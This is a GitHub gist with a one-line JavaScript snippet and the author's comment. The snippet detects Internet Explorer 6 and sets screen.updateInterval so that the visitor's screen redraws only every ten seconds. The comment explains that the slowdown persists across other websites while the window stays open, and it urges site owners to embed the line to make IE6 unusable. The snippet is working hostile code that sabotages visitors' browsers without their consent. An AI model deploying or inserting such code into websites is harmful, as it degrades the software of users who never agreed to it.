Skip to content

Instantly share code, notes, and snippets.

@karolk
Created July 4, 2012 13:32
Show Gist options
  • Save karolk/3047346 to your computer and use it in GitHub Desktop.
Save karolk/3047346 to your computer and use it in GitHub Desktop.
Detect that the user is running IE6 and sets the screen update rate at 1 refresh per 10 seconds. This makes the website look very slow. The setting will continue to work in a browser window even if the user visits a different website as IE6 sets this for
navigator.userAgent.toLowerCase().indexOf("msie 6.")!=-1&&(screen.updateInterval=10000);
@karolk
Copy link
Author

karolk commented Jul 4, 2012

This code uses a property documented on MSDN website:
http://msdn.microsoft.com/en-us/library/ie/ms534707(v=vs.85).aspx

It also relies on the fact that screen object is maintained across domains, so this property persists for all websites that are visited in the same browser window.

This code makes the IE6 look so slow, that it's rendered unusable. For example, if the user continues to type, the cursor will move ahead, but the letter will only appear 10 seconds later. Moreover this setting will continue to work across domains, so IE6 users is 'infected' for as long as the browser window stays open. If Microsoft was so kind to include this code on bing.com and msn.com websites their stop using IE6 campaign (http://www.ie6countdown.com/) would come to fruition much faster, because the users would throw away the browser that's too slow to display modern websites.

If you want IE6 to be thrown away by browser users please include this 1-liner on your website.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment